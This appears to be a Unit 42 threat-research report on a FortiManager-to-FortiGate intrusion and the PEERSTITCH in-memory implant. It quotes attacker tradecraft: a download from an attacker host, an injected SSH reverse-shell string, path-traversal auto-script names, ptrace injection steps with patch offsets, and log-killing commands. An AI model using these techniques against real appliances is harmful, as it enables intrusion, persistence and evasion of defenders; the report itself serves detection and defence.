Unit 42 Uncovers PEERSTITCH, a Stealthy FortiGate Implant

Executive Summary

Unit 42 investigated a multi-stage network intrusion against a telecommunications organization that occurred in September 2024, which we are tracking as cluster CL-STA-0954 (aka UNC5820). The attackers behind CL-STA-0954 achieved an initial compromise by exploiting CVE-2024-47575 against a centralized FortiManager appliance.

From that single appliance, our observations are that the attackers exfiltrated an archive containing running configurations, cryptographic material and database files containing information about more than 500 managed FortiGate firewalls. Those firewalls protected the target's own infrastructure and the networks of its clients.

Following the initial compromise, the attackers behind CL-STA-0954 demonstrated a complex level of tradecraft. Aspects of the post-exploitation activity overlap with intrusions attributed to suspected nation-state actors. Armed with the stolen information, the attackers:

• Maintained long-term access
• Intercepted network traffic
• Established VPN sessions
• Deployed backdoors
• Exploited a separate privilege-escalation vulnerability

The attackers exploited another vulnerability, CVE-2025-61624, via FortiOS auto-script path traversal. This exploit facilitated the deployment of PEERSTITCH, a novel, memory-resident ARM64 malware.

PEERSTITCH leaves no persistent binary on disk, opens no listening ports and initiates no outbound network connections. Instead, it communicates through traffic generated by legitimate processes on the infected host, which makes the malware resistant to conventional endpoint and network detection.

The attackers also impersonated the FortiManager platform to pull from managed firewalls of other hosts in the targeted network.

Palo Alto Networks customers are better protected from this activity through the following products and services:

• Advanced WildFire
• Advanced URL Filtering, Advanced DNS Security and Advanced IP Defense
• Next-Generation Firewall with the Advanced Threat Prevention
• Cortex Xpanse
• Device Security

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Overview of the Intrusion

We investigated a prolonged network intrusion against a telecommunications managed service provider. The attackers demonstrated proficiency in Fortinet appliance architecture, FortiOS internals and FortiOS management protocols.

Our investigation spanned the provider's own environment. We did not examine the client networks whose firewalls the provider managed. The exposure described in this report is of configuration and credential material rather than confirmed intrusion into those networks. Figure 1 below shows a flowchart illustrating an overview of the intrusion.

Initial Access and Network Configuration Theft (CVE-2024-47575)

During the initial phase of the intrusion, the attackers exploited CVE-2024-47575 (referred to by external parties as FortiJump). The vulnerability allows an unauthenticated remote attacker to execute arbitrary commands via crafted requests to the FMG-Access (TCP port 541) management channel.

During the exploitation, the attackers registered a rogue Virtual FortiGate appliance named localhost (serial number FMG-VMTM23017412) to the central FortiManager instance, originating from external attacker infrastructure (45.32.41[.]202, later modified to 198.199.122[.]22).

Immediately following device registration, the attacker generated a configuration archive named .tm in the FortiManager file system, which they exfiltrated shortly thereafter. Analysis of this artifact revealed:

• The FortiManager appliance's own serial number and its management relationships to every enrolled device
• Complete running configuration files for more than 500 managed FortiGate firewalls across internal infrastructure and client networks
• Central management SQLite databases: global.db (containing administrative domains, global objects and policy packages) and revinfo.db (containing device revision metadata)
• A flat text inventory listing more than 500 FortiGate serial numbers alongside their respective public IP addresses
• Internal network topology maps, routing tables and interface configurations
• Ciphertext administrative, local and SSL/VPN credentials
• Encoded cryptographic trust material, including public certificates and private keys

Reconnaissance and Targeted Traffic Sniffing

Following an extended dwell period, the attackers pivoted to active network reconnaissance. They used the compromised FortiManager device to push unauthorized sniffer configurations to multiple downstream managed FortiGate firewalls.

The packet captures targeted unencrypted HTTP traffic and 11 specific services over different TCP ports to intercept sensitive communications and map network perimeters. Table 1 below shows the characteristics of these services.

Table 1. Services the attackers used to intercept sensitive communications and map network perimeters.

In a subsequent phase of reconnaissance, attackers deployed additional packet-capture rules to core perimeter firewalls targeting:

• UDP port 69 (TFTP): File, communications, firmware and configuration capture
• UDP ports 1812 and 1813 (RADIUS and RADIUS-Accounting): Network authentication sniffing
• TCP port 389 (LDAP): Active Directory query interception and directory enumeration

Credential Decryption and Initial Re-Entry

The exfiltrated FortiGate configurations contained sensitive credentials stored as reversible ciphertext. We confirmed that the credentials were recoverable by successfully brute-forcing administrative and SSL/VPN passwords from the exfiltrated configuration files.

Using legitimate credentials, the attackers established unauthorized FortiGate SSL/VPN sessions to perimeter firewalls from known external staging infrastructure (23.240.77[.]233 and 47.18.167[.]159). These sessions granted the attackers authenticated access into internal network-management segments.

Privilege Escalation: CVE-2025-61624

During the intrusion, the attackers exploited CVE-2025-61624 to escalate from FortiOS administrative access to root on the underlying firewall operating system. A FortiOS administrator, including a super_admin, operates within a restricted management command line with no shell access and no direct control over the appliance file system or its running processes. The daemons that implement FortiOS run as root beneath that interface.

The vulnerability allows an authenticated administrative account to read and write arbitrary files as root via path traversal in the FortiOS CLI system.auto-script engine. The auto-script object name is not sanitized, allowing a name containing traversal sequences to place the script body outside the intended directory, at any file system location. The script executes with the privileges of the auto-script engine.

The sanitized event below highlights the creation of the traversal object ../../../../setup used to drop the PEERSTITCH initial-stage loader shown below in Figure 2.

Technical Analysis of the PEERSTITCH Implant

PEERSTITCH is a 64-bit Linux ARM64 executable written in C and statically linked against glibc. It acts as a one-shot process memory patching injector targeting two core FortiOS daemons:

• /bin/miglogd: The central system and traffic logging daemon
• /bin/iked: The IKE/IPsec VPN service daemon handling cryptographic negotiation

Figure 3 shows a flow chart of PEERSTITCH activity, which we will examine in greater detail.

Delivery and Staging Chain

1). Downloader initialization: Exploiting CVE-2025-61624, the attackers pushed ../../../../setup to a select number of firewalls

2). Payload retrieval: The script downloaded five files from hxxp[:]//23.240.77[.]233:8085/ into /data2/template/:

• pM.js: Environment preparation script (self-deleting)
• a.js (saved as index.js): Emscripten JavaScript runtime module
• a.wasm (saved as index.wasm): Compiled WebAssembly binary module
• b.js (saved as ipssem.js): Deployment orchestrator script
• dd (saved as lldprx): Native ARM64 ELF binary injector (PEERSTITCH core)

3). Execution: Following an execution delay, ipssem.js launched lldprx with arguments lldprx!index.js!index.wasm!ipssem.js!lldprx!yyyy!pM.js

Injector Execution and Process Parasitization

The lldprx binary performs a single-pass execution sequence:

1. Process discovery: Iterates through /proc/, parses /proc/<pid>/cmdline and locates the process identifiers (PIDs) for /bin/miglogd and /bin/iked
2. Memory layout enumeration: Reads /proc/<pid>/maps to extract the base addresses and memory boundaries of both target daemons
3. Process attachment: Attaches to both running processes using ptrace(PTRACE_SEIZE, pid) and halts execution via PTRACE_INTERRUPT
4. Register state capture: Calls ptrace(PTRACE_GETREGSET, pid) to snapshot all ARM64 general-purpose registers (X0 through X30), the stack pointer (SP) and program counter (PC)
5. Dynamic shellcode construction: Generates an ARM64 bootstrap stub dynamically. The bootstrap executes an mmap syscall (X8 = 0xDE) requesting 0x4000 (16,384 bytes) of PROT_READ | PROT_WRITE | PROT_EXEC (RWX) memory mapped as MAP_PRIVATE | MAP_ANONYMOUS
6. Payload injection: Writes a 1,344-byte injection payload into the newly allocated RWX buffer via /proc/<pid>/mem

Covert IPC and Cross-Daemon Memory Sharing

Instead of using network sockets or disk files, PEERSTITCH creates a covert, memory-resident communication bridge between /bin/miglogd and /bin/iked.

Figure 4 shows a flowchart for PEERSTITCH network traffic.

• Passive traffic monitoring: Inside both daemons, the hook code inspects data already passing through the process without redirecting packets. It evaluates string patterns using strstr() for two specific markers:
  • TCP port marker: 8550 (embedded within traffic data, not a listening port)
  • IP address marker: 169.254.0.1 (link-local identifier used for pattern matching)
• Tag extraction and buffering: When a marker is identified, the hook extracts an associated session token or identifier (up to 31 bytes) and writes it into a 16-slot circular ring buffer at offset +0x0F0
• Cross-process write: The hook iterates through its forwarding table at offset +0x400 (populated with the counterpart daemon's PID and buffer base address). It invokes open(), lseek() and write() on /proc/<counterpart_pid>/mem, writing the extracted tag directly into the other daemon's memory.
• Conditional execution branching: When /bin/iked processes subsequent VPN sessions, its hook inspects its injection buffer. If a corresponding tag exists, the hook takes an alternate return branch (ADRP return path), bypassing default FortiOS security validations.

Memory Patching and Branch Path Modification

To suppress tamper detection and alter default daemon routines, PEERSTITCH applies direct NOP patches (0xAA0003E0, corresponding to MOV X0, X0 on ARM64) to three static offsets within target process memory:

• base + 0x106F7B8
• base + 0x1072E20
• base + 0x109A570

A 20-byte trampoline patch is written to base + 0x135102C to redirect standard execution into the allocated RWX hook buffer. Figure 5 shows a visual memory layout of the 16 KB buffer used by the ARM64 PEERSTITCH payload.

Apache mod_md ACME Reverse Shell Command and Control

Alongside PEERSTITCH, the attackers established a command and control channel by weaponizing the native Apache mod_md (Managing Domains) module on FortiGate firewalls. This module uses the Automated Certificate Management Environment (ACME) protocol.

The attackers pushed an auto-script object to create ../../tmp/apache2/conf/md-acme.conf, as shown below in Figure 6.

Weaponization Mechanics

1). Rogue certificate authority initialization: The account.json state file demonstrates the initial registration with the attacker's ACME server, explicitly routing ACME directory requests to external infrastructure

2). Challenge orchestration: The order.json file outlines the pending certificate order, mapping the authorization and finalization URLs directly to the attacker's server

3). Command execution via DNS-01 challenge: MDChallengeDns01 was mapped directly to /bin/node. When Apache initiates a certificate validation challenge, it executes Node.js with parameters retrieved from the remote ACME server. The job.json debug log reveals how the attackers exploited this by injecting shell commands (kali@23.240.77[.]233:8084:b -F /tmp/upfile/ssh_config -i) directly into the domain name field of the challenge request, initiating an SSH-based reverse shell.

4). Continuous polling loop: Setting MDRenewMode always forced the Apache daemon to continuously trigger these malicious renewal challenges. Because the DNS-01 challenge was mapped to /bin/node, this polling cycle ensured the continuous re-execution of the injected payload, establishing a persistent outbound reverse-shell communication channel.

Management Impersonation and FortiGate to FortiManager Chained Exploitation

FortiGate to FortiManager (FGFM) communications occur over TCP port 541 using cryptographic trust material requested and validated against appliance serial numbers. The archive exfiltrated during the initial FortiJump compromise contained this material, along with the serial numbers and management relationships of every downstream device.

Following FGFM interactions from external infrastructure over TCP port 541, an administrative account named FortiGateCloud downloaded complete running configurations from multiple managed firewalls. The victim organization operated no FortiManager Cloud tenant, and no such account was provisioned on the affected devices.

We assess with a medium degree of confidence that the attackers issued these commands by impersonating the management platform over FGFM. Two paths were available to them, and the evidence does not distinguish between them:

• Exploitation of CVE-2024-26009 to bypass FGFM authentication using the FortiManager's serial number
• Direct reuse of the exfiltrated trust material to authenticate as the legitimate FortiManager

Asserting a management identity requires terminating the authentic FortiManager's session. It is possible that the attackers forced this session termination using CVE-2024-26008, consistent with the intermittent tunnel management interface drops described in the Anti-Forensics and Defense Evasion section below.

We are aware of other vulnerabilities in which the FortiGateCloud account has been misused to perform unauthorized actions, including:

• CVE-2025-59718
• CVE-2025-59719
• The related single sign-on (SSO) issues tracked under FG-IR-26-060

Each of these vulnerabilities requires the device to be enrolled in FortiGate Cloud/FortiCloud SSO, and the affected firewalls held no such enrollment. We exclude these vulnerabilities from scope for this intrusion. We note that the observed activity reused only the account name and none of the exploitation artifacts associated with those issues.

Anti-Forensics and Defense Evasion

The attackers took extensive measures to eliminate forensic artifacts:

• Service termination: Executed killall -9 miglogd and killall -9 syslogd to halt local and remote syslog generation prior to executing malicious auto-scripts
• Crash log clearing: Issued FortiOS diagnostic command diagnose debug crashlog clear to wipe segmentation fault logs generated during initial memory injection attempts
• Configuration rollback: Automatically deleted rogue administrator accounts, rogue VPN groups and auto-script objects (../../../../setup) shortly after execution
• Decoy artifact creation: Overwrote /tmp/apache2/conf/md-acme.conf with a common string found in this file (#0 certs managed by ACME\n\n\n) to mask reverse-shell configuration files
• Process memory self-deletion: lldprx unlinked its own binary from disk and scanned /proc/ to terminate the staging setup process before exiting
• Logging telemetry disruption: Log telemetry showed intermittent drops across the tunnel management interface during periods of malicious activity. We assess with medium confidence that the attackers deliberately induced this degradation to suppress real-time telemetry to central management consoles. This is consistent with the previously described pattern of telemetry suppression, including terminating miglogd and syslogd, clearing crash logs, and rolling back configuration objects. It’s possible that the attackers forced the disconnects using CVE-2024-26008 over TCP port 541. Available logs do not capture the triggered traffic, so we could not confirm the mechanism.

Detection Opportunities and Forensic Guidance

Because PEERSTITCH runs entirely in memory without creating persistent files or listening ports, detection requires specialized hunting techniques that Table 2 below documents.

Table 2. PEERSTITCH's specialized hunting techniques.

Conclusion

This intrusion highlights a growing threat, the weaponization of centralized edge management ecosystems to compromise downstream networks. One compromised appliance yielded the cryptographic keys, credentials and network topology for more than 500 firewalls, including devices protecting client organizations.

The discovery of the PEERSTITCH implant demonstrates the increasing technical maturity of edge-device malware. By operating as a one-shot injector, avoiding persistent disk artifacts and building a covert inter-process communication bridge inside process memory, the attackers achieved sustained persistence while evading traditional monitoring.

For organizations that manage infrastructure on behalf of others, the management platform is the highest-value target on the network. Compromising the management platform is not contained by the boundary of the organization that owns it. That compromise also does not end when the platform is patched.

The cryptographic trust material governing the platform's relationship with every managed device leaves with the attacker and remains valid until it is rotated. Defenders must treat edge management interfaces with the highest level of zero trust isolation. They must also treat the credentials and certificates those interfaces hold as compromised the moment the platform is.

Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:

• The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
• Advanced URL Filtering, Advanced DNS Security and Advanced IP Defense are designed to identify known domains and URLs associated with this activity as malicious.
• Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block CVE-2024-47575 with best practices via the following Threat Prevention signatures 95788, 96788.
• Cortex Xpanse is designed to identify exposed devices and applications on the public internet and escalate these findings to defenders.
• Device Security is designed to proactively protect the specialized device attack surface of operational environments, providing deep visibility into industrial protocols, actionable risk insights, and adaptive security enforcement across all OT and IoT assets.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

• North America Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
• UK: +44.20.3743.3660
• Europe and Middle East: +31.20.299.3130
• Asia: +65.6983.8730
• Japan: +81.50.1790.0200
• Australia: +61.2.4062.7950
• India: 000 800 050 45107
• South Korea: +82.080.467.8774

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Table 3 lists the filenames and SHA-256 hashes associated with PEERSTITCH activity.

Table 3. Files and SHA-256 hashes for PEERSTITCH activity.

Table 4 lists the network indicators associated with PEERSTITCH activity.

Table 4. Network indicators for PEERSTITCH activity.

The following is a YARA rule to discover PEERSTITCH activity:

Additional Resources

• FortiBleed Operations Continue Targeting Exposed Systems Leading to Reports of Lockouts — Joint FBI and Secret Service Advisory, October 6, 2026
• Missing authentication in fgfmsd — FortiGuard Labs PSIRT Advisory
• Path Traversal in CLI - FortiGuard Labs PSIRT Advisory
• FGFM protocol allows unauthenticated reset of the connection - FortiGuard Labs PSIRT Advisory
• Weak authentication - FGFM protocol - FortiGuard Labs PSIRT Advisory
• Administrative FortiCloud SSO authentication bypass - Fortiguard Labs PSIRT Advisory
• Multiple Fortinet Products' FortiCloud SSO Login Authentication Bypass - FortiGuard Labs PSIRT Advisory
• Communications Protocol Guide, FortiGate / FortiManager 7.4 - Fortinet
• Fortinet Analysis of Single Sign-On Abuse on FortiOS - Fortinet Blog